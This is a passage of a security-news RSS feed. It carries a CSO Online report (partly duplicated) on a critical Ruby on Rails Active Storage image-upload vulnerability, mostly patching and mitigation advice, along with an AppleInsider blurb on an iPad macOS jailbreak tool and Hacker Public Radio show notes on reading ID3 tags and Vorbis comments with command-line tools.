<p class="wp-block-paragraph">Applications are impacted when they are configured to use <em>libvips</em> for Active Storage image processing (the default behavior since Rails 7.0) and accept image uploads from untrusted or unauthenticated users. Enterprises should audit every internal and third-party app to determine whether they are configured this way, Seker advised, and patch Rails and Active Storage immediately. They should also examine every feature accepting images, including avatars, support attachments, product images, and administrative upload functions.</p>



<p class="wp-block-paragraph">Upgrading Rails alone is not sufficient when an older <em>libvips</em> installation remains underneath it; <em>libvips</em> must be version 8.13 or later, he said.</p>



<p class="wp-block-paragraph">Forensic guidance and tooling from the Rails project can help enterprises determine whether apps are vulnerable or files are exploitable, Seker noted. It’s also important to review app, proxy, object-storage, and image-processing logs for suspicious uploads or unusual requests.</p>



<p class="wp-block-paragraph">Additionally, admins should rotate <em>secret_key_base </em>and every other credential available in Rails, invalidate active sessions, and investigate downstream systems for potentially exposed credentials.</p>



<p class="wp-block-paragraph">“Security teams should treat this as a potential secret-exposure incident, not merely a patch-management exercise,” Seker said.</p>



<h2 class="wp-block-heading">Don’t trust image processing pipelines</h2>



<p class="wp-block-paragraph">Complex image libraries support many formats and rely on numerous parsers and third-party components, creating a broad attack surface, Seker noted. Therefore, the libraries “should be treated as untrusted code execution territory.”</p>



<p class="wp-block-paragraph">Image processing should be isolated in dedicated sandboxes, containers, or restricted to workers with minimal filesystem access, he advised. There should be no unnecessary network connectivity or access to an app’s files or secrets. Strict allowlists should be applied, file content human-validated, and uploads scanned before processing and stored outside app directories. </p>



<p class="wp-block-paragraph">Additional controls should include short-lived and narrowly scoped credentials, outbound network restrictions, dependency and software composition monitoring, and automated tests that confirm that dangerous codecs or operations are disabled post-upgrade, Seker said.</p>



<p class="wp-block-paragraph">“The broader lesson is that organizations cannot assess exposure solely by asking whether they ‘use Rails,’” he noted, pointing out that two applications running the same Rails version may have very different exposure depending on their image processor, upload paths, and operating system packages. This makes visibility into runtime configuration, libraries, and app functionality critical.</p>



<p class="wp-block-paragraph">This incident also demonstrates the importance of secret rotation in vulnerability response, he added. “When a vulnerability enables arbitrary file access, installing the patch closes the entry point but does not revoke credentials that may already have been copied.”</p>



<h2 class="wp-block-heading">Don’t just assume you’re safe</h2>



<p class="wp-block-paragraph">This vulnerability illustrates a perfect use case for a software bill of materials (SBOM), which can speed up discovery of vulnerable software and triage it, Beauceron’s Shipley noted. And enterprises could also adopt intelligent web application firewall monitoring and intervention in addition to isolating systems and patching.</p>



<p class="wp-block-paragraph">“The words you never want to hear in any critical vulnerability are ‘arbitrary code execution’ and ‘remote code execution’,” he said. “Either of those can mean bad news.”</p>



<p class="wp-block-paragraph">What’s also interesting here is that the disclosure process was hijacked, he pointed out. Rails published <a href="https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441" target="_blank" rel="noreferrer noopener">technical details about the flaw and forensic tools</a> to assess application vulnerability to it and to look for evidence of data exfiltration nearly a month before it planned to, because several researchers had reverse-engineered the attack and published proof of concept code.</p>



<p class="wp-block-paragraph">The fact that proofs of concept are now available “materially increases the likelihood of opportunistic scanning and exploitation attempts,” Seker noted.</p>



<p class="wp-block-paragraph">Therefore, he said, “even organizations that see no obvious evidence of compromise should not assume that patching alone removes the risk created by previously exposed secrets.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4205383/ruby-on-rails-critical-bug-puts-every-image-upload-under-scrutiny.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[If SideCar isn't enough, get real macOS on iPad with a new jailbreak tool]]></title>
<description><![CDATA[If you've been dying to run macOS on iPad hardware natively, a jailbreak solution has emerged for M1 and M2 iPads running iPadOS 16, though it is extremely experimental.Get macOS on an iPad via jailbreakThere has been an endless debate surrounding the iPad since Apple debuted the first iPad Pro. ...]]></description>
<link>https://tsecurity.de/de/3704671/ios-mac-os/if-sidecar-isnt-enough-get-real-macos-on-ipad-with-a-new-jailbreak-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704671/ios-mac-os/if-sidecar-isnt-enough-get-real-macos-on-ipad-with-a-new-jailbreak-tool/</guid>
<pubDate>Wed, 05 Aug 2026 05:00:58 +0200</pubDate>
<content:encoded><![CDATA[If you've been dying to run macOS on <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPad</a> hardware natively, a jailbreak solution has emerged for M1 and M2 iPads running iPadOS 16, though it is extremely experimental.<br><br><div><img src="https://media.appleinsider.com/gallery/68465-144254-iPad-Air-M2-logo-xl.jpg" alt="Close-up of a light blue iPad Air back, showing the Apple logo shadowed on the left and three small connector dots below the centered iPad Air text"><br><span>Get macOS on an iPad via jailbreak</span></div><br>There has been an <a href="https://appleinsider.com/inside/ipad/tips/how-to-use-ipad-as-a-mac-replacement-and-why-youd-want-to">endless debate</a> surrounding the iPad since Apple debuted the first <a href="https://appleinsider.com/inside/ipad-pro" title="iPad Pro" data-kpt="1">iPad Pro</a>. It runs <a href="https://appleinsider.com/inside/ipados" title="iPadOS" data-kpt="1">iPadOS</a>, a branch of <a href="https://appleinsider.com/inside/ios" title="iOS" data-kpt="1">iOS</a>, which is much <a href="https://appleinsider.com/articles/21/05/21/apple-engineers-dish-on-no-macos-for-ipad-why-11-inch-model-didnt-get-mini-led">more locked down</a> compared to macOS.<br><br>Users that want to use macOS on an iPad can finally give it a try, but it'll be a limited experience. The <a href="https://github.com/nfzerox/VirtualMacOniPad">GitHub repository</a> for the Virtual <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> on iPad software will provide you all of the information you'll need.<br><br><br> <a href="https://appleinsider.com/articles/26/08/05/if-sidecar-isnt-enough-get-real-macos-on-ipad-with-a-new-jailbreak-tool?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245166?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ruby on Rails critical bug puts every image upload under scrutiny]]></title>
<description><![CDATA[A new critical vulnerability in the Ruby on Rails (“Rails”) web application framework, CVE-2026-66066, could turn a seemingly innocuous image into a front door to your secrets.



Disclosed July 30, the high severity CVE (scored 9.5 out of 10) poses a significant risk to enterprises running apps ...]]></description>
<link>https://tsecurity.de/de/3704642/it-security-nachrichten/ruby-on-rails-critical-bug-puts-every-image-upload-under-scrutiny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704642/it-security-nachrichten/ruby-on-rails-critical-bug-puts-every-image-upload-under-scrutiny/</guid>
<pubDate>Wed, 05 Aug 2026 04:08:16 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new critical vulnerability in the Ruby on Rails (“Rails”) web application framework, <a href="https://www.cve.org/CVERecord?id=CVE-2026-66066" target="_blank" rel="noreferrer noopener">CVE-2026-66066</a>, could turn a seemingly innocuous image into a front door to your secrets.</p>



<p class="wp-block-paragraph">Disclosed July 30, the high severity CVE (scored 9.5 out of 10) poses a significant risk to enterprises running apps that handle user-uploaded images in Rails.</p>



<p class="wp-block-paragraph">Dubbed “KindaRails2Shell,” it targets the overly-trusting Active Storage component of the open-source framework, allowing unauthenticated attackers to read sensitive files or escalate to remote code execution (RCE).</p>



<p class="wp-block-paragraph">The issue has been fixed in versions 7.2.3.2, 8.0.5.1 and 8.1.3.1 of Active Storage; enterprises running Rails should update immediately.</p>



<p class="wp-block-paragraph">“The ‘chef’s kiss’ is the ability for an attacker to upload an image that isn’t actually an image [but] is code that allows them to steal secrets,” said <a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security.</p>



<h2 class="wp-block-heading">Attackers get the key to the castle</h2>



<p class="wp-block-paragraph">Ruby on Rails is an open-source, server-side application framework used for building full-stack web apps and <a href="https://www.csoonline.com/article/4204548/secure-ai-adoption-starts-with-api-best-practices.html" target="_blank">application programming interfaces</a> (APIs).</p>



<p class="wp-block-paragraph">It is popular among developers because it is scalable, easy to learn and use, supports quick application development, taps into an active community of <a href="https://github.blog/engineering/architecture-optimization/building-github-with-ruby-and-rails/" target="_blank" rel="noreferrer noopener">more than 1,000 engineers</a> developing and maintaining it, and has an extensive library of nearly two million lines of prebuilt code.</p>



<p class="wp-block-paragraph">CVE-2026-66066 specifically targets Rails’ built-in Active Storage component, which lets users upload files to cloud services or local disks and link them to their applications. In particular, the vulnerability exploits the way Active Storage interacts with the <a href="https://github.com/libvips/libvips" target="_blank" rel="noreferrer noopener"><em>libvips</em> image processing library</a> to generate images.</p>



<p class="wp-block-paragraph"><em>Libvips</em> contains what are known as “unfuzzed” operations which have not been hardened against malicious inputs through techniques known as <a href="https://en.wikipedia.org/wiki/Fuzzing" target="_blank" rel="noreferrer noopener">fuzzing</a> that test where they crash, leak data, or otherwise behave erratically. This makes them unsafe for use with untrusted content, but Active Storage does not adequately disable them.</p>



<p class="wp-block-paragraph">“CVE-2026-66066 is particularly dangerous because an attacker may not need an account or privileged access,” explained <a href="https://www.sans.org/profiles/ensar-seker" target="_blank" rel="noreferrer noopener">Ensar Seker</a>, CISO at SOCRadar.</p>



<p class="wp-block-paragraph">Attackers can exploit the unsafe pipeline by uploading specially crafted files that trick Active Storage into giving them access to files that the Rails process is permitted to access, even highly-sensitive ones in app processing environments.</p>



<p class="wp-block-paragraph">In practical terms, this could expose environment variables, Rails application secrets, database credentials, cloud access keys, API tokens and credentials for connected services, Seker explained.</p>



<p class="wp-block-paragraph">Attackers can also gain access to the <em>secret_key_base</em> that signs and encrypts cookies, <a href="https://www.csoonline.com/article/570795/how-to-hack-2fa.html" target="_blank">credentials</a>, and session data. When <em>secret_key_base </em>is compromised, attackers essentially hold the key to the app.</p>



<p class="wp-block-paragraph">“The immediate vulnerability is an arbitrary file-read issue, but the theft of secrets such as Rails’ <em>secret_key_base</em> can turn information disclosure into a much broader compromise,” Seker said.</p>



<p class="wp-block-paragraph">Depending on the application, attackers could potentially forge trusted application data or sessions, access databases and cloud services, move laterally into connected systems, or achieve RCE.</p>



<p class="wp-block-paragraph">That escalation path is what makes the vulnerability critical, Seker said. “A seemingly routine image upload feature, such as a profile picture, avatar or thumbnail generator, could become an entry point into the application’s underlying infrastructure.”</p>



<h2 class="wp-block-heading">How to identify if you’re vulnerable</h2>



<p class="wp-block-paragraph">Applications are impacted when they are configured to use <em>libvips</em> for Active Storage image processing (the default behavior since Rails 7.0) and accept image uploads from untrusted or unauthenticated users. Enterprises should audit every internal and third-party app to determine whether they are configured this way, Seker advised, and patch Rails and Active Storage immediately. They should also examine every feature accepting images, including avatars, support attachments, product images, and administrative upload functions.</p>



<p class="wp-block-paragraph">Upgrading Rails alone is not sufficient when an older <em>libvips</em> installation remains underneath it; <em>libvips</em> must be version 8.13 or later, he said.</p>



<p class="wp-block-paragraph">Forensic guidance and tooling from the Rails project can help enterprises determine whether apps are vulnerable or files are exploitable, Seker noted. It’s also important to review app, proxy, object-storage, and image-processing logs for suspicious uploads or unusual requests.</p>



<p class="wp-block-paragraph">Additionally, admins should rotate <em>secret_key_base </em>and every other credential available in Rails, invalidate active sessions, and investigate downstream systems for potentially exposed credentials.</p>



<p class="wp-block-paragraph">“Security teams should treat this as a potential secret-exposure incident, not merely a patch-management exercise,” Seker said.</p>



<h2 class="wp-block-heading">Don’t trust image processing pipelines</h2>



<p class="wp-block-paragraph">Complex image libraries support many formats and rely on numerous parsers and third-party components, creating a broad attack surface, Seker noted. Therefore, the libraries “should be treated as untrusted code execution territory.”</p>



<p class="wp-block-paragraph">Image processing should be isolated in dedicated sandboxes, containers, or restricted to workers with minimal filesystem access, he advised. There should be no unnecessary network connectivity or access to an app’s files or secrets. Strict allowlists should be applied, file content human-validated, and uploads scanned before processing and stored outside app directories. </p>



<p class="wp-block-paragraph">Additional controls should include short-lived and narrowly scoped credentials, outbound network restrictions, dependency and software composition monitoring, and automated tests that confirm that dangerous codecs or operations are disabled post-upgrade, Seker said.</p>



<p class="wp-block-paragraph">“The broader lesson is that organizations cannot assess exposure solely by asking whether they ‘use Rails,’” he noted, pointing out that two applications running the same Rails version may have very different exposure depending on their image processor, upload paths, and operating system packages. This makes visibility into runtime configuration, libraries, and app functionality critical.</p>



<p class="wp-block-paragraph">This incident also demonstrates the importance of secret rotation in vulnerability response, he added. “When a vulnerability enables arbitrary file access, installing the patch closes the entry point but does not revoke credentials that may already have been copied.”</p>



<h2 class="wp-block-heading">Don’t just assume you’re safe</h2>



<p class="wp-block-paragraph">This vulnerability illustrates a perfect use case for a software bill of materials (SBOM), which can speed up discovery of vulnerable software and triage it, Beauceron’s Shipley noted. And enterprises could also adopt intelligent web application firewall monitoring and intervention in addition to isolating systems and patching.</p>



<p class="wp-block-paragraph">“The words you never want to hear in any critical vulnerability are ‘arbitrary code execution’ and ‘remote code execution’,” he said. “Either of those can mean bad news.”</p>



<p class="wp-block-paragraph">What’s also interesting here is that the disclosure process was hijacked, he pointed out. Rails published <a href="https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441" target="_blank" rel="noreferrer noopener">technical details about the flaw and forensic tools</a> to assess application vulnerability to it and to look for evidence of data exfiltration nearly a month before it planned to, because several researchers had reverse-engineered the attack and published proof of concept code.</p>



<p class="wp-block-paragraph">The fact that proofs of concept are now available “materially increases the likelihood of opportunistic scanning and exploitation attempts,” Seker noted.</p>



<p class="wp-block-paragraph">Therefore, he said, “even organizations that see no obvious evidence of compromise should not assume that patching alone removes the risk created by previously exposed secrets.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4698: ID3 Tags and Vorbis Comments]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






--------------------






01 Introduction






In a response to a post on a previous episode, I said that I would take a look at ID3 tags. 


ID3 tags are text information that is added to an MP3 audio file, such as the author, dat...]]></description>
<link>https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</guid>
<pubDate>Wed, 05 Aug 2026 02:42:56 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In a response to a post on a previous episode, I said that I would take a look at ID3 tags. </p>

<p>
ID3 tags are text information that is added to an MP3 audio file, such as the author, date, name, and other information.</p>

<p>

</p>

<p>
02</p>

<p>
While I am at it I will also look at Vorbis comments, which perform a similar function for vorbis, the container format for "ogg" audio files.</p>

<p>
As example audio files, I will use a recent HPR episode, hpr4678 in both mp3 and vorbis formats plus also one from another podcast as well. </p>

<p>

</p>

<p>
03</p>

<p>
There is Free Software which you can use to view, edit, or remove both types of tags or comments, and I will describe how to use it in this episode.</p>

<p>

</p>

<p>
04</p>

<p>
I will cover how to view tags and extract the text information, as well as how to strip the tags from a file and why you may wish to do so under certain very specific circumstances.</p>

<p>

</p>

<p>
I won't cover how to add to or edit tags in an MP3 or OGG file, as that is a more involved subject that I don't have much experience with. </p>

<p>

</p>

<p>
05</p>

<p>
I will mainly talk about ID3 MP3 tags rather than vorbis comments for the simple reason that the situation with MP3 files is an utter mess while vorbis comments are very straightforward and so there isn't as much to say about them.</p>

<p>

</p>

<p>
06</p>

<p>
As often happens when researching a subject to write a podcast script, I have learned quite a bit that I didn't know previously, and discovered that things that I thought I did know were wrong.</p>

<p>
I hope that you may learn a few things from this episode that you didn't know previously either. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
07 Background</p>

<p>

</p>

<p>
I won't go over the detailed history of ID3 tags, as I don't have a reliable source for this.</p>

<p>
Briefly however, so far as I can determine, there is no official independent standard for ID3 tags or vorbis comments.</p>

<p>
Both seem to be more in the nature of a convention that was created by an unofficial group of contributors rather than something issued by a standards body.</p>

<p>

</p>

<p>
08</p>

<p>
However, I don't see the lack of a conventional standards body as necessarily a problem with respect to the use of ID3 tags or vorbis comments.</p>

<p>
I just am not familiar enough with the industry to know who to regard as being an authoritative source when it comes to the history and development of them</p>

<p>
Since I am unsure as who to credit with what developments, I will avoid that sort of detail.</p>

<p>

</p>

<p>
09 ID3 Tags</p>

<p>
There is a web site with the URL of ID3.org that seems to have the best reference material on the topic of ID3 tags.</p>

<p>
According to this site, the term "ID3" means "IDentify an MP3".</p>

<p>

</p>

<p>
10 Vorbis Comments</p>

<p>
For vorbis, the reference site seems to be xiph.org.</p>

<p>
Although the implementation details may differ from ID3, from our perspective as podcast listeners, they can be seen as more or less equivalent in terms of what I am going to address here.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
11 ID3 Details</p>

<p>

</p>

<p>

</p>

<p>
Versions</p>

<p>
One of the problems with ID3 is that there are multiple incompatible versions, particularly from the very early days.</p>

<p>
ID3v1 tags are located at the end of the audio file in the last 128 bytes.</p>

<p>
This was done for compatibility reasons to allow early MP3 players to simply ignore the tags if they didn't know how to deal with them. </p>

<p>
The tags would simply appear as a short burst of static from the perspective of these early players.</p>

<p>

</p>

<p>
12</p>

<p>
ID3v2 moved the tags to the start of the MP3 file to allow players to scan the tags for information such as titles without having to read to the end of the file to find them.</p>

<p>
There are far fewer limits on the amount of information that can be placed in ID3v2 tags.</p>

<p>

</p>

<p>
13</p>

<p>
ID3v1 is obsolete and only very old players will require it.</p>

<p>
However, it is still used by some publishers for backward compatibility reasons.</p>

<p>
ID3v1 included numerical musical "genre" category codes which apparently turned out to be a very bad idea in practice. </p>

<p>

</p>

<p>
14</p>

<p>
Furthermore, all genre categories above 70 were defined by an audio software company called Nullsoft who created software such as Winamp.</p>

<p>
These codes were never actually part of the ID3 standard, although there was never really a standard to begin with.</p>

<p>

</p>

<p>
15</p>

<p>
The current ID3 version is 2.3. There is a version 2.4, but apparently it is not actually generally accepted and may be a developmental dead end.</p>

<p>

</p>

<p>
16</p>

<p>
The id3.org web site contains a copy of the ID3v2.3 standard, but I am not going to address the technical details here.</p>

<p>
This would only be of interest to someone who was creating software to read and write ID3 tags.</p>

<p>

</p>

<p>
17 ID3v2 Frames</p>

<p>
The ID3v2 information is encoded into what are called "frames".</p>

<p>
The text information is contained in text information frames.</p>

<p>

</p>

<p>
18</p>

<p>
Text information frames start with a set of four character identifiers, all starting with the capital letter 'T'.</p>

<p>
Examples</p>

<p>
"TALB" is the "Album/Movie/Show title" frame.</p>

<p>
"TIT2" is the "Title/Songname/Content description" frame.</p>

<p>
"TYER" is the "Year" frame.</p>

<p>

</p>

<p>
There are many more, but I won't go into more detail here.</p>

<p>

</p>

<p>
19 HPR ID3 Tags</p>

<p>
HPR makes an interesting case study because they use both ID3v1 and ID3v2 in the same file.</p>

<p>
This can cause some interesting problems with software that tries to read those tags.</p>

<p>
This is because most software appears to expect one or the other, but not both.</p>

<p>
However, so long as this does not cause problems with anything that actually plays the files, this is not a problem so far as people who just want to listen to podcasts are concerned.</p>

<p>

</p>

<p>
It does mean though that we have more to talk about than we would otherwise would have had.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
20 Vorbis Comment Fields</p>

<p>

</p>

<p>
The situation with Vorbis comments is much simpler, as there seems to be just one standard that was adhered to from the start rather than a succession of hacks.</p>

<p>
Information is stored in "fields", which xiph describes as being like Unix environment variables.</p>

<p>
These consist of a field name followed by an equal sign and then the information intended for that field.</p>

<p>
Field names are case insensitive.</p>

<p>

</p>

<p>
21</p>

<p>
The field names are not firmly defined at this stage, but there is a list of recommended names.</p>

<p>
Examples are</p>

<p>
"TITLE" is the Track or Work name.</p>

<p>
"ARTIST" is the person responsible for the work.</p>

<p>
"LICENSE" is the license information.</p>

<p>

</p>

<p>
22</p>

<p>
You can see the complete list for yourself on the comment field and header specification page at xiph.org</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
23 Software for Listing, Adding, and Modifying Tags and Fields</p>

<p>

</p>

<p>
There are three software packages that I will now describe which allow you to list, add, modify, and remove tags and fields.</p>

<p>
There are other packages which can do the same, including some which offer a GUI interface.</p>

<p>
However, I will limit myself to describing these three.</p>

<p>
The principles should be the same for others.</p>

<p>

</p>

<p>
24 ffprobe</p>

<p>
ffprobe is part of the ffmpeg package.</p>

<p>
If you have listened to my previous episodes on audio, you will have heard me talk about ffmpeg.</p>

<p>
ffprobe is used to display information about media files rather than for modifying them.</p>

<p>
ffprobe is licensed under the GPLv2 or later.</p>

<p>

</p>

<p>
ffprobe can be used to display information about both MP3 and OGG Vorbis files.</p>

<p>

</p>

<p>
25 ID3v2</p>

<p>
The next is the rather aptly named id3v2 and works with MP3 files.</p>

<p>
On Linux systems, this should be provided by the id3v2 package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install id3v2</p>

<p>

</p>

<p>
26</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the README file in the source tarball, this is published under the LGPL</p>

<p>
ID3v2 is particularly useful for displaying ID3v1 tags.</p>

<p>

</p>

<p>
27 vorbiscomment</p>

<p>
The third is "vorbiscomment" and works with OGG files.</p>

<p>
On Linux systems this should be provided by the "vorbis-tools" package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install vorbis-tools</p>

<p>

</p>

<p>
28</p>

<p>
The vorbiscomment program is used to list or edit comments in Ogg Vorbis files.</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the license.lgpl file in the source tarball, this is published under the LGPL version2.</p>

<p>

</p>

<p>
29</p>

<p>
The display format for vorbiscomment follows the data definition format in the vorbis standard, whereas ffprobe re-formats it to match its own preferred appearance. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
30 Examples from HPR</p>

<p>

</p>

<p>
With the background out of the way, I will now give several examples of how to list the tags or fields.</p>

<p>

</p>

<p>
31 Listing ID3v1 Tags</p>

<p>

</p>

<p>
As previously mentioned HPR uses both ID3v1 and ID3v2 tags in the same file.</p>

<p>
However, so far as I can tell, most software seems to look for ID3v2 tags first, and don't display the ID3v1 tags if both are present.</p>

<p>

</p>

<p>
32</p>

<p>
The ID3v2 program however seems to do the opposite, at least with HPR podcasts. </p>

<p>
However, the number of samples that I have which have both are rather limited, so I can't be sure if this is always the case or if this is a side effect of something else.</p>

<p>
I did mention that ID3 tags were a mess, didn't I?</p>

<p>

</p>

<p>
33</p>

<p>
Let's go on to our example however.</p>

<p>
If we want to see the ID3v1 tags, then using hpr4678 as an example, if we type</p>

<p>

</p>

<p>
id3v2 -l hpr4678.mp3</p>

<p>
=</p>

<p>
we get the following result.</p>

<p>

</p>

<p>
34</p>

<p>

</p>

<p>
id3v1 tag info for hpr4678.mp3:</p>

<p>
Title  : High Resolution Elapsed Time i  Artist: Whiskeyjack                   </p>

<p>
Album  : Hacker Public Radio             Year: 2026, Genre: Unknown (186)</p>

<p>
Comment: https://hackerpublicradio.or    Track: 0</p>

<p>
hpr4678.mp3: No ID3v2 tag</p>

<p>

</p>

<p>
35</p>

<p>
The first line tells us that this information is ID3v1 tags.</p>

<p>
The last line tells us that there are no ID3v2 tags. </p>

<p>
This last line is incorrect, but we will come back to that later.</p>

<p>

</p>

<p>
36</p>

<p>
In between are three lines of text.</p>

<p>
The first line contains the title and the artist.</p>

<p>
The title is the name of the HPR episode, or at least part of it.</p>

<p>
The artist is the HPR contributor who made that episode.</p>

<p>

</p>

<p>
37</p>

<p>
The second line contains the album name, the year, and the genre.</p>

<p>
The album name is this case is simply Hacker Public Radio, as the concept of an album doesn't really fit a podcast.</p>

<p>
The year is the year that the episode was recorded, or at least the year in which the MP3 file was assembled with the HPR intro and the tags added.</p>

<p>

</p>

<p>
38</p>

<p>
The genre is listed as "unknown 186".</p>

<p>
Recall that with ID3v1 tags there is a one byte numeric genre code, but that no genres above 70 were ever officially assigned.</p>

<p>
It seems to be a general convention though to use a code 186 for podcasts.</p>

<p>

</p>

<p>
39</p>

<p>
The third line contain a comment and track number.</p>

<p>
The comment in this case is the HPR web site URL.</p>

<p>
The track is zero.</p>

<p>
"Track" would appear to serve no useful purpose in this instance.</p>

<p>
However, it may be there for reasons of compatibility that I am unaware of, so I would be very reluctant to remove that without very good reason.</p>

<p>

</p>

<p>
40</p>

<p>
If we look at the above information in detail we can see that two of the tags appear to have cut their text information off short.</p>

<p>
The title is cut off in mid word after the 30th character.</p>

<p>
The final "g" in "hackerpublicradio.org" is cut off in the comment.</p>

<p>

</p>

<p>
41 Alternative Method for ID3v1</p>

<p>
We can confirm whether the text being cut short is due to a problem with the id3v2 program, or whether it really represents the data in the file by using a rather simple check.</p>

<p>

</p>

<p>
42</p>

<p>
Recall that ID3v1 tags are simply the last 128 bytes of the MP3 file.</p>

<p>
All we need to do is to extract the last 128 bytes of the file.</p>

<p>
We can do this using the standard tail command.</p>

<p>

</p>

<p>
tail -c128 hpr4678.mp3 | tr '\0' ' ' | tr -c '[:print:]' 'x'</p>

<p>

</p>

<p>
43</p>

<p>
The -c128 option used with tail tells it to extract the last 128 bytes of the file.</p>

<p>
We then pass the result through the "tr" command and tell it to replace null bytes with new line characters.</p>

<p>
Then we replace any remaining non-printable characters  with an 'x'.</p>

<p>

</p>

<p>
When we do that we get the following</p>

<p>

</p>

<p>
44</p>

<p>

</p>

<p>
TAGHigh Resolution Elapsed Time iWhiskeyjack                   Hacker Public Radio           2026https://hackerpublicradio.or  x</p>

<p>

</p>

<p>
45</p>

<p>
The first three characters are capital TAG.</p>

<p>
This is a flag which indicates that what follows  are ID3 tags.</p>

<p>

</p>

<p>
46</p>

<p>
Next, we have 30 characters which specify the title.</p>

<p>
The next 30 characters specify the artist.</p>

<p>
The next 30 characters are the album, or in this case just "Hacker Public Radio".</p>

<p>
The next 4 characters are the year.</p>

<p>
The next 30 characters are a comment, or in this case the HPR URL, except for the final "g".</p>

<p>
The last character is the genre code, which we have replaced with an "x" because it is otherwise non-printable.</p>

<p>

</p>

<p>
47</p>

<p>
Taken together, these add up to 128 bytes.</p>

<p>
We can see that the field lengths are of fixed length with pre-defined meanings based on position.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
48 ID3v2 Using ffprobe</p>

<p>
Now lets move on to ID3v2 tags, which is probably more useful for most people.</p>

<p>

</p>

<p>
For this, we will switch to using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.mp3</p>

<p>

</p>

<p>
The -hide_banner option suppresses extra data about the codecs which doesn't interest us much and leaves mainly the tag information plus a few other things.</p>

<p>

</p>

<p>
49</p>

<p>
The output gives us the full data that is associated with the podcast episode from the HPR web site.</p>

<p>
This includes the episode number, year, full title, author, license, and full summary text.</p>

<p>
You can see a full copy of this in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'hpr4678.mp3':</p>

<p>
  Metadata:</p>

<p>
	track           : 4678</p>

<p>
	year            : 2026</p>

<p>
	title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	author          : Whiskeyjack</p>

<p>
	copyright       : CC-BY-SA</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	genre           : Podcast</p>

<p>
	encoder         : Lavf61.7.103</p>

<p>
	date            : 2026</p>

<p>
  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
50</p>

<p>
The ID3v2 tag version contains all of the information which was provided by the author, including the full title and description without the 30 character limit of ID3V1.</p>

<p>

</p>

<p>
If you want any of this information for some reason you should be able to extract it from the MP3 file using a combination of ffprobe, grep, and cut rather than trying to scrape the HPR web site and matching it to the MP3 later. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
51 ID3v1 Using ffprobe</p>

<p>

</p>

<p>
I previously mentioned that HPR MP3 files have both ID3v1 and ID3v2 tags in the same file, and that ffprobe will default to using ID3v2 tags if present.</p>

<p>

</p>

<p>
However, what happens if we remove the ID3v2 tags and leave the ID3v1 tags?</p>

<p>
I will describe how to strip tags later on in this episode, but let's just assume for now that I have done this.</p>

<p>

</p>

<p>
If we then use ffprobe to read the ID3 tags using the same command as before, we get the following output.</p>

<p>

</p>

<p>
52</p>

<p>
We get a series of lines in the same format as with ID3v2, but with each data element limited to at most 30 bytes.</p>

<p>
These include title, artist, album, date, comment, and genre. </p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'test.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : High Resolution Elapsed Time i</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	date            : 2026</p>

<p>
	comment         : https://hackerpublicradio.or</p>

<p>
	genre           : Podcast</p>

<p>
  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
53</p>

<p>
The information is the same as when read by the id3v2 program, but formatted for display in the manner that ffprobe uses. </p>

<p>

</p>

<p>
This shows that ffprobe can indeed read ID3v1 tags if they are the only ones present. </p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
54 Reading Vorbis Comments</p>

<p>
